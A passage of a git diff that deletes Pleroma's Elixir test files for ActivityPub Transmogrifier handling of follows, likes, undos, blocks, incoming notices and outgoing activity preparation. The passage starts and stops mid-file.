Activity.get_by_ap_id(id) - - assert activity.data["state"] == "reject" - end - end - - test "it works for incoming follow requests from hubzilla" do - user = insert(:user) - - data = - File.read!("test/fixtures/hubzilla-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - |> Utils.normalize_params() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "https://hubzilla.example.org/channel/kaniini" - assert data["type"] == "Follow" - assert data["id"] == "https://hubzilla.example.org/channel/kaniini#follows/2" - assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) - end - - test "it works for incoming follows to locked account" do - pending_follower = insert(:user, ap_id: "http://mastodon.example.org/users/admin") - user = insert(:user, locked: true) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Follow" - assert data["object"] == user.ap_id - assert data["state"] == "pending" - assert data["actor"] == "http://mastodon.example.org/users/admin" - - assert [^pending_follower] = User.get_follow_requests(user) - end - end -end diff --git a/test/web/activity_pub/transmogrifier/like_handling_test.exs b/test/web/activity_pub/transmogrifier/like_handling_test.exs deleted file mode 100644 index 53fe1d550..000000000 --- a/test/web/activity_pub/transmogrifier/like_handling_test.exs +++ /dev/null @@ -1,78 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.LikeHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it works for incoming likes" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - - data = - File.read!("test/fixtures/mastodon-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _actor = insert(:user, ap_id: data["actor"], local: false) - - {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) - - refute Enum.empty?(activity.recipients) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Like" - assert data["id"] == "http://mastodon.example.org/users/admin#likes/2" - assert data["object"] == activity.data["object"] - end - - test "it works for incoming misskey likes, turning them into EmojiReacts" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - - data = - File.read!("test/fixtures/misskey-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _actor = insert(:user, ap_id: data["actor"], local: false) - - {:ok, %Activity{data: activity_data, local: false}} = Transmogrifier.handle_incoming(data) - - assert activity_data["actor"] == data["actor"] - assert activity_data["type"] == "EmojiReact" - assert activity_data["id"] == data["id"] - assert activity_data["object"] == activity.data["object"] - assert activity_data["content"] == "🍮" - end - - test "it works for incoming misskey likes that contain unicode emojis, turning them into EmojiReacts" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - - data = - File.read!("test/fixtures/misskey-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - |> Map.put("_misskey_reaction", "⭐") - - _actor = insert(:user, ap_id: data["actor"], local: false) - - {:ok, %Activity{data: activity_data, local: false}} = Transmogrifier.handle_incoming(data) - - assert activity_data["actor"] == data["actor"] - assert activity_data["type"] == "EmojiReact" - assert activity_data["id"] == data["id"] - assert activity_data["object"] == activity.data["object"] - assert activity_data["content"] == "⭐" - end -end diff --git a/test/web/activity_pub/transmogrifier/undo_handling_test.exs b/test/web/activity_pub/transmogrifier/undo_handling_test.exs deleted file mode 100644 index 8683f7135..000000000 --- a/test/web/activity_pub/transmogrifier/undo_handling_test.exs +++ /dev/null @@ -1,185 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.UndoHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it works for incoming emoji reaction undos" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - {:ok, reaction_activity} = CommonAPI.react_with_emoji(activity.id, user, "👌") - - data = - File.read!("test/fixtures/mastodon-undo-like.json") - |> Poison.decode!() - |> Map.put("object", reaction_activity.data["id"]) - |> Map.put("actor", user.ap_id) - - {:ok, activity} = Transmogrifier.handle_incoming(data) - - assert activity.actor == user.ap_id - assert activity.data["id"] == data["id"] - assert activity.data["type"] == "Undo" - end - - test "it returns an error for incoming unlikes wihout a like activity" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) - - data = - File.read!("test/fixtures/mastodon-undo-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - assert Transmogrifier.handle_incoming(data) == :error - end - - test "it works for incoming unlikes with an existing like activity" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) - - like_data = - File.read!("test/fixtures/mastodon-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _liker = insert(:user, ap_id: like_data["actor"], local: false) - - {:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data) - - data = - File.read!("test/fixtures/mastodon-undo-like.json") - |> Poison.decode!() - |> Map.put("object", like_data) - |> Map.put("actor", like_data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Undo" - assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo" - assert data["object"] == "http://mastodon.example.org/users/admin#likes/2" - - note = Object.get_by_ap_id(like_data["object"]) - assert note.data["like_count"] == 0 - assert note.data["likes"] == [] - end - - test "it works for incoming unlikes with an existing like activity and a compact object" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) - - like_data = - File.read!("test/fixtures/mastodon-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _liker = insert(:user, ap_id: like_data["actor"], local: false) - - {:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data) - - data = - File.read!("test/fixtures/mastodon-undo-like.json") - |> Poison.decode!() - |> Map.put("object", like_data["id"]) - |> Map.put("actor", like_data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Undo" - assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo" - assert data["object"] == "http://mastodon.example.org/users/admin#likes/2" - end - - test "it works for incoming unannounces with an existing notice" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - - announce_data = - File.read!("test/fixtures/mastodon-announce.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _announcer = insert(:user, ap_id: announce_data["actor"], local: false) - - {:ok, %Activity{data: announce_data, local: false}} = - Transmogrifier.handle_incoming(announce_data) - - data = - File.read!("test/fixtures/mastodon-undo-announce.json") - |> Poison.decode!() - |> Map.put("object", announce_data) - |> Map.put("actor", announce_data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Undo" - - assert data["object"] == - "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" - end - - test "it works for incoming unfollows with an existing follow" do - user = insert(:user) - - follow_data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - _follower = insert(:user, ap_id: follow_data["actor"], local: false) - - {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(follow_data) - - data = - File.read!("test/fixtures/mastodon-unfollow-activity.json") - |> Poison.decode!() - |> Map.put("object", follow_data) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Undo" - assert data["object"]["type"] == "Follow" - assert data["object"]["object"] == user.ap_id - assert data["actor"] == "http://mastodon.example.org/users/admin" - - refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) - end - - test "it works for incoming unblocks with an existing block" do - user = insert(:user) - - block_data = - File.read!("test/fixtures/mastodon-block-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - _blocker = insert(:user, ap_id: block_data["actor"], local: false) - - {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(block_data) - - data = - File.read!("test/fixtures/mastodon-unblock-activity.json") - |> Poison.decode!() - |> Map.put("object", block_data) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - assert data["type"] == "Undo" - assert data["object"] == block_data["id"] - - blocker = User.get_cached_by_ap_id(data["actor"]) - - refute User.blocks?(blocker, user) - end -end diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs deleted file mode 100644 index 561674f01..000000000 --- a/test/web/activity_pub/transmogrifier_test.exs +++ /dev/null @@ -1,1220 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.AdminAPI.AccountView - alias Pleroma.Web.CommonAPI - - import Mock - import Pleroma.Factory - import ExUnit.CaptureLog - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance, :max_remote_account_fields]) - - describe "handle_incoming" do - test "it works for incoming notices with tag not being an array (kroeg)" do - data = File.read!("test/fixtures/kroeg-array-less-emoji.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert object.data["emoji"] == %{ - "icon_e_smile" => "https://puckipedia.com/forum/images/smilies/icon_e_smile.png" - } - - data = File.read!("test/fixtures/kroeg-array-less-hashtag.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert "test" in object.data["tag"] - end - - test "it cleans up incoming notices which are not really DMs" do - user = insert(:user) - other_user = insert(:user) - - to = [user.ap_id, other_user.ap_id] - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - |> Map.put("to", to) - |> Map.put("cc", []) - - object = - data["object"] - |> Map.put("to", to) - |> Map.put("cc", []) - - data = Map.put(data, "object", object) - - {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert data["to"] == [] - assert data["cc"] == to - - object_data = Object.normalize(activity).data - - assert object_data["to"] == [] - assert object_data["cc"] == to - end - - test "it ignores an incoming notice if we already have it" do - activity = insert(:note_activity) - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - |> Map.put("object", Object.normalize(activity).data) - - {:ok, returned_activity} = Transmogrifier.handle_incoming(data) - - assert activity == returned_activity - end - - @tag capture_log: true - test "it fetches reply-to activities if we don't have them" do - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - object = - data["object"] - |> Map.put("inReplyTo", "https://mstdn.io/users/mayuutann/statuses/99568293732299394") - - data = Map.put(data, "object", object) - {:ok, returned_activity} = Transmogrifier.handle_incoming(data) - returned_object = Object.normalize(returned_activity, false) - - assert activity = - Activity.get_create_by_object_ap_id( - "https://mstdn.io/users/mayuutann/statuses/99568293732299394" - ) - - assert returned_object.data["inReplyTo"] == - "https://mstdn.io/users/mayuutann/statuses/99568293732299394" - end - - test "it does not fetch reply-to activities beyond max replies depth limit" do - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - object = - data["object"] - |> Map.put("inReplyTo", "https://shitposter.club/notice/2827873") - - data = Map.put(data, "object", object) - - with_mock Pleroma.Web.Federator, - allowed_thread_distance?: fn _ -> false end do - {:ok, returned_activity} = Transmogrifier.handle_incoming(data) - - returned_object = Object.normalize(returned_activity, false) - - refute Activity.get_create_by_object_ap_id( - "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" - ) - - assert returned_object.data["inReplyTo"] == "https://shitposter.club/notice/2827873" - end - end - - test "it does not crash if the object in inReplyTo can't be fetched" do - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - object = - data["object"] - |> Map.put("inReplyTo", "https://404.site/whatever") - - data = - data - |> Map.put("object", object) - - assert capture_log(fn -> - {:ok, _returned_activity} = Transmogrifier.handle_incoming(data) - end) =~ "[warn] Couldn't fetch \"https://404.site/whatever\", error: nil" - end - - test "it does not work for deactivated users" do - data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() - - insert(:user, ap_id: data["actor"], deactivated: true) - - assert {:error, _} = Transmogrifier.handle_incoming(data) - end - - test "it works for incoming notices" do - data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["id"] == - "http://mastodon.example.org/users/admin/statuses/99512778738411822/activity" - - assert data["context"] == - "tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation" - - assert data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] - - assert data["cc"] == [ - "http://mastodon.example.org/users/admin/followers", - "http://localtesting.pleroma.lol/users/lain" - ] - - assert data["actor"] == "http://mastodon.example.org/users/admin" - - object_data = Object.normalize(data["object"]).data - - assert object_data["id"] == - "http://mastodon.example.org/users/admin/statuses/99512778738411822" - - assert object_data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] - - assert object_data["cc"] == [ - "http://mastodon.example.org/users/admin/followers", - "http://localtesting.pleroma.lol/users/lain" - ] - - assert object_data["actor"] == "http://mastodon.example.org/users/admin" - assert object_data["attributedTo"] == "http://mastodon.example.org/users/admin" - - assert object_data["context"] == - "tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation" - - assert object_data["sensitive"] == true - - user = User.get_cached_by_ap_id(object_data["actor"]) - - assert user.note_count == 1 - end - - test "it works for incoming notices with hashtags" do - data = File.read!("test/fixtures/mastodon-post-activity-hashtag.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert Enum.at(object.data["tag"], 2) == "moo" - end - - test "it works for incoming notices with contentMap" do - data = - File.read!("test/fixtures/mastodon-post-activity-contentmap.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert object.data["content"] == - "<p><span class=\"h-card\"><a href=\"http://localtesting.pleroma.lol/users/lain\" class=\"u-url mention\">@<span>lain</span></a></span></p>" - end - - test "it works for incoming notices with to/cc not being an array (kroeg)" do - data = File.read!("test/fixtures/kroeg-post-activity.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert object.data["content"] == - "<p>henlo from my Psion netBook</p><p>message sent from my Psion netBook</p>" - end - - test "it ensures that as:Public activities make it to their followers collection" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - |> Map.put("actor", user.ap_id) - |> Map.put("to", ["https://www.w3.org/ns/activitystreams#Public"]) - |> Map.put("cc", []) - - object = - data["object"] - |> Map.put("attributedTo", user.ap_id) - |> Map.put("to", ["https://www.w3.org/ns/activitystreams#Public"]) - |> Map.put("cc", []) - |> Map.put("id", user.ap_id <> "/activities/12345678") - - data = Map.put(data, "object", object) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["cc"] == [User.ap_followers(user)] - end - - test "it ensures that address fields become lists" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - |> Map.put("actor", user.ap_id) - |> Map.put("to", nil) - |> Map.put("cc", nil) - - object = - data["object"] - |> Map.put("attributedTo", user.ap_id) - |> Map.put("to", nil) - |> Map.put("cc", nil) - |> Map.put("id", user.ap_id <> "/activities/12345678") - - data = Map.put(data, "object", object) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert !is_nil(data["to"]) - assert !is_nil(data["cc"]) - end - - test "it strips internal likes" do - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - likes = %{ - "first" => - "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1", - "id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes", - "totalItems" => 3, - "type" => "OrderedCollection" - } - - object = Map.put(data["object"], "likes", likes) - data = Map.put(data, "object", object) - - {:ok, %Activity{object: object}} = Transmogrifier.handle_incoming(data) - - refute Map.has_key?(object.data, "likes") - end - - test "it strips internal reactions" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - {:ok, _} = CommonAPI.react_with_emoji(activity.id, user, "📢") - - %{object: object} = Activity.get_by_id_with_object(activity.id) - assert Map.has_key?(object.data, "reactions") - assert Map.has_key?(object.data, "reaction_count") - - object_data = Transmogrifier.strip_internal_fields(object.data) - refute Map.has_key?(object_data, "reactions") - refute Map.has_key?(object_data, "reaction_count") - end - - test "it works for incoming unfollows with an existing follow" do - user = insert(:user) - - follow_data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(follow_data) - - data = - File.read!("test/fixtures/mastodon-unfollow-activity.json") - |> Poison.decode!() - |> Map.put("object", follow_data) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Undo" - assert data["object"]["type"] == "Follow" - assert data["object"]["object"] == user.ap_id - assert data["actor"] == "http://mastodon.example.org/users/admin" - - refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) - end - - test "it accepts Flag activities" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - object = Object.normalize(activity) - - note_obj = %{ - "type" => "Note", - "id" => activity.data["id"], - "content" => "test post", - "published" => object.data["published"], - "actor" => AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - } - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "cc" => [user.ap_id], - "object" => [user.ap_id, activity.data["id"]], - "type" => "Flag", - "content" => "blocked AND reported!!!", - "actor" => other_user.ap_id - } - - assert {:ok, activity} = Transmogrifier.handle_incoming(message) - - assert activity.data["object"] == [user.ap_id, note_obj] - assert activity.data["content"] == "blocked AND reported!!!" - assert activity.data["actor"] == other_user.ap_id - assert activity.data["cc"] == [user.ap_id] - end - - test "it correctly processes messages with non-array to field" do - user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => "https://www.w3.org/ns/activitystreams#Public", - "type" => "Create", - "object" => %{ - "content" => "blah blah blah", - "type" => "Note", - "attributedTo" => user.ap_id, - "inReplyTo" => nil - }, - "actor" => user.ap_id - } - - assert {:ok, activity} = Transmogrifier.handle_incoming(message) - - assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["to"] - end - - test "it correctly processes messages with non-array cc field" do - user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => user.follower_address, - "cc" => "https://www.w3.org/ns/activitystreams#Public", - "type" => "Create", - "object" => %{ - "content" => "blah blah blah", - "type" => "Note", - "attributedTo" => user.ap_id, - "inReplyTo" => nil - }, - "actor" => user.ap_id - } - - assert {:ok, activity} = Transmogrifier.handle_incoming(message) - - assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["cc"] - assert [user.follower_address] == activity.data["to"] - end - - test "it correctly processes messages with weirdness in address fields" do - user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => [nil, user.follower_address], - "cc" => ["https://www.w3.org/ns/activitystreams#Public", ["¿"]], - "type" => "Create", - "object" => %{ - "content" => "…", - "type" => "Note", - "attributedTo" => user.ap_id, - "inReplyTo" => nil - }, - "actor" => user.ap_id - } - - assert {:ok, activity} = Transmogrifier.handle_incoming(message) - - assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["cc"] - assert [user.follower_address] == activity.data["to"] - end - - test "it accepts Move activities" do - old_user = insert(:user) - new_user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Move", - "actor" => old_user.ap_id, - "object" => old_user.ap_id, - "target" => new_user.ap_id - } - - assert :error = Transmogrifier.handle_incoming(message) - - {:ok, _new_user} = User.update_and_set_cache(new_user, %{also_known_as: [old_user.ap_id]}) - - assert {:ok, %Activity{} = activity} = Transmogrifier.handle_incoming(message) - assert activity.actor == old_user.ap_id - assert activity.data["actor"] == old_user.ap_id - assert activity.data["object"] == old_user.ap_id - assert activity.data["target"] == new_user.ap_id - assert activity.data["type"] == "Move" - end - end - - describe "`handle_incoming/2`, Mastodon format `replies` handling" do - setup do: clear_config([:activitypub, :note_replies_output_limit], 5) - setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) - - setup do - data = - "test/fixtures/mastodon-post-activity.json" - |> File.read!() - |> Poison.decode!() - - items = get_in(data, ["object", "replies", "first", "items"]) - assert length(items) > 0 - - %{data: data, items: items} - end - - test "schedules background fetching of `replies` items if max thread depth limit allows", %{ - data: data, - items: items - } do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 10) - - {:ok, _activity} = Transmogrifier.handle_incoming(data) - - for id <- items do - job_args = %{"op" => "fetch_remote", "id" => id, "depth" => 1} - assert_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker, args: job_args) - end - end - - test "does NOT schedule background fetching of `replies` beyond max thread depth limit allows", - %{data: data} do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) - - {:ok, _activity} = Transmogrifier.handle_incoming(data) - - assert all_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker) == [] - end - end - - describe "`handle_incoming/2`, Pleroma format `replies` handling" do - setup do: clear_config([:activitypub, :note_replies_output_limit], 5) - setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) - - setup do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "post1"}) - - {:ok, reply1} = - CommonAPI.post(user, %{status: "reply1", in_reply_to_status_id: activity.id}) - - {:ok, reply2} = - CommonAPI.post(user, %{status: "reply2", in_reply_to_status_id: activity.id}) - - replies_uris = Enum.map([reply1, reply2], fn a -> a.object.data["id"] end) - - {:ok, federation_output} = Transmogrifier.prepare_outgoing(activity.data) - - Repo.delete(activity.object) - Repo.delete(activity) - - %{federation_output: federation_output, replies_uris: replies_uris} - end - - test "schedules background fetching of `replies` items if max thread depth limit allows", %{ - federation_output: federation_output, - replies_uris: replies_uris - } do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 1) - - {:ok, _activity} = Transmogrifier.handle_incoming(federation_output) - - for id <- replies_uris do - job_args = %{"op" => "fetch_remote", "id" => id, "depth" => 1} - assert_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker, args: job_args) - end - end - - test "does NOT schedule background fetching of `replies` beyond max thread depth limit allows", - %{federation_output: federation_output} do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) - - {:ok, _activity} = Transmogrifier.handle_incoming(federation_output) - - assert all_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker) == [] - end - end - - describe "prepare outgoing" do - test "it inlines private announced objects" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey", visibility: "private"}) - - {:ok, announce_activity} = CommonAPI.repeat(activity.id, user) - - {:ok, modified} = Transmogrifier.prepare_outgoing(announce_activity.data) - - assert modified["object"]["content"] == "hey" - assert modified["object"]["actor"] == modified["object"]["attributedTo"] - end - - test "it turns mentions into tags" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{status: "hey, @#{other_user.nickname}, how are ya? #2hu"}) - - with_mock Pleroma.Notification, - get_notified_from_activity: fn _, _ -> [] end do - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - object = modified["object"] - - expected_mention = %{ - "href" => other_user.ap_id, - "name" => "@#{other_user.nickname}", - "type" => "Mention" - } - - expected_tag = %{ - "href" => Pleroma.Web.Endpoint.url() <> "/tags/2hu", - "type" => "Hashtag", - "name" => "#2hu" - } - - refute called(Pleroma.Notification.get_notified_from_activity(:_, :_)) - assert Enum.member?(object["tag"], expected_tag) - assert Enum.member?(object["tag"], expected_mention) - end - end - - test "it adds the sensitive property" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#nsfw hey"}) - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["object"]["sensitive"] - end - - test "it adds the json-ld context and the conversation property" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["@context"] == - Pleroma.Web.ActivityPub.Utils.make_json_ld_header()["@context"] - - assert modified["object"]["conversation"] == modified["context"] - end - - test "it sets the 'attributedTo' property to the actor of the object if it doesn't have one" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["object"]["actor"] == modified["object"]["attributedTo"] - end - - test "it strips internal hashtag data" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#2hu"}) - - expected_tag = %{ - "href" => Pleroma.Web.Endpoint.url() <> "/tags/2hu", - "type" => "Hashtag", - "name" => "#2hu" - } - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["object"]["tag"] == [expected_tag] - end - - test "it strips internal fields" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#2hu :firefox:"}) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert length(modified["object"]["tag"]) == 2 - - assert is_nil(modified["object"]["emoji"]) - assert is_nil(modified["object"]["like_count"]) - assert is_nil(modified["object"]["announcements"]) - assert is_nil(modified["object"]["announcement_count"]) - assert is_nil(modified["object"]["context_id"]) - end - - test "it strips internal fields of article" do - activity = insert(:article_activity) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert length(modified["object"]["tag"]) == 2 - - assert is_nil(modified["object"]["emoji"]) - assert is_nil(modified["object"]["like_count"]) - assert is_nil(modified["object"]["announcements"]) - assert is_nil(modified["object"]["announcement_count"]) - assert is_nil(modified["object"]["context_id"]) - assert is_nil(modified["object"]["likes"]) - end - - test "the directMessage flag is present" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "2hu :moominmamma:"}) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["directMessage"] == false - - {:ok, activity} = CommonAPI.post(user, %{status: "@#{other_user.nickname} :moominmamma:"}) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["directMessage"] == false - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "@#{other_user.nickname} :moominmamma:", - visibility: "direct" - }) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["directMessage"] == true - end - - test "it strips BCC field" do - user = insert(:user) - {:ok, list} = Pleroma.List.create("foo", user) - - {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert is_nil(modified["bcc"]) - end - - test "it can handle Listen activities" do - listen_activity = insert(:listen) - - {:ok, modified} = Transmogrifier.prepare_outgoing(listen_activity.data) - - assert modified["type"] == "Listen" - - user = insert(:user) - - {:ok, activity} = CommonAPI.listen(user, %{"title" => "lain radio episode 1"}) - - {:ok, _modified} = Transmogrifier.prepare_outgoing(activity.data) - end - end - - describe "user upgrade" do - test "it upgrades a user to activitypub" do - user = - insert(:user, %{ - nickname: "rye@niu.moe", - local: false, - ap_id: "https://niu.moe/users/rye", - follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"}) - }) - - user_two = insert(:user) - Pleroma.FollowingRelationship.follow(user_two, user, :follow_accept) - - {:ok, activity} = CommonAPI.post(user, %{status: "test"}) - {:ok, unrelated_activity} = CommonAPI.post(user_two, %{status: "test"}) - assert "http://localhost:4001/users/rye@niu.moe/followers" in activity.recipients - - user = User.get_cached_by_id(user.id) - assert user.note_count == 1 - - {:ok, user} = Transmogrifier.upgrade_user_from_ap_id("https://niu.moe/users/rye") - ObanHelpers.perform_all() - - assert user.ap_enabled - assert user.note_count == 1 - assert user.follower_address == "https://niu.moe/users/rye/followers" - assert user.following_address == "https://niu.moe/users/rye/following" - - user = User.get_cached_by_id(user.id) - assert user.note_count == 1 - - activity = Activity.get_by_id(activity.id) - assert user.follower_address in activity.recipients - - assert %{ - "url" => [ - %{ - "href" => - "https://cdn.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg" - } - ] - } = user.avatar - - assert %{ - "url" => [ - %{ - "href" => - 